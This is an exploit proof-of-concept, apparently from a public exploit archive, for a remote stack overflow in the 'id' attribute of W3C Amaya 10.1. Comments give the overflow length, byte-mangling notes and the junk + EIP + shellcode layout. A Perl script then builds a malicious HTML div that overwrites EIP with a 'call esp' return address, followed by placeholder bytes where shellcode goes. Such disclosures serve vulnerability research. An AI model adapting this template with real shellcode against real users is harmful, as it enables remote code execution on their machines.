w3camayaid-overflow.txt

`# W3C Amaya 10.1 Web Browser  
#  
# Amaya (id) Remote Stack Overflow Vulnerability  
#  
# Written and discovered by:   
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)  
#  
# Advisory: http://www.bmgsec.com.au/advisory/41/  
# ------------------------------------------------------  
#  
# Shellcode notes:   
# The application fails to correctly process certain bytes:   
# 0x9c becomes 0x9cc2  
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).   
#  
# After reviewing the source code, the below function modifies the  
# shellcode:   
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)  
#  
# The max value which can be used is 0x1fffff <-- Thanks Luigi!  
# ------------------------------------------------------  
#  
# The "id" variable of a tag contains a buffer overflow:   
# <div id=" 93*'A/' ">r0ut3r</div>  
#  
# The application will not overflow with normal alphanumeric characters.   
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is:   
# 91 * 2 = 182 + 4  
#  
# [junk] + [eip] + [shellcode]  
# 182 + 4 + sizeof(shellcode)  
#  
# ESP points to data after EIP.   
#  
# "id" variable Proof of concept:   
#!/usr/bin/perl  
  
use warnings;  
use strict;  
  
my $shellcode = 'C' x 350;  
  
# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)  
my $data = '<div id="' .  
'A/' x 91 .  
"\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)  
$shellcode .   
'">test</div>';  
print $data;  
`